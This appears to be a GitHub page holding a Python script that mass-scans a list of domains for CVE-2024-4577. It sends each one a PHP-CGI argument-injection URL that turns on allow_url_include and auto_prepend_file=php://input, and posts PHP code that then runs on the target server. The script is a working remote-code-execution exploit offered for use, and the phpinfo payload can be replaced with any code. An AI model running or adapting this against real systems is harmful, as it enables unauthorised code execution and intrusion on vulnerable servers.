-
Notifications
You must be signed in to change notification settings - Fork 9
/
CVE-2024-4577.py
52 lines (47 loc) · 1.71 KB
/
CVE-2024-4577.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import threading
import sys
import argparse
max_threads = 10
semaphore = threading.Semaphore(max_threads)
def check_vulnerability(domain, quiet):
url = f"{domain}/test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input"
headers = {
"User-Agent": "curl/8.3.0",
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive"
}
data = "<?php phpinfo(); ?>"
if not quiet:
print(f"[!] Testing {domain}...")
print("")
try:
response = requests.post(url, headers=headers, data=data, timeout=10, verify=False)
if "PHP Version" in response.text:
print(f"{domain}: Vulnerable")
elif not quiet:
print(f"{domain}: Not Vulnerable")
except requests.RequestException as e:
if not quiet:
print(f"{domain}: Error making request: {e}")
finally:
semaphore.release()
def main(file_path, quiet):
threads = []
with open(file_path, 'r') as file:
for line in file:
domain = line.strip()
if domain:
semaphore.acquire()
thread = threading.Thread(target=check_vulnerability, args=(domain, quiet))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Check for CVE-2024-4577 vulnerability.")
parser.add_argument("file_path", help="Path to the domain list file")
parser.add_argument("--quiet", action="store_true", help="Only print if the host is vulnerable")
args = parser.parse_args()
main(args.file_path, args.quiet)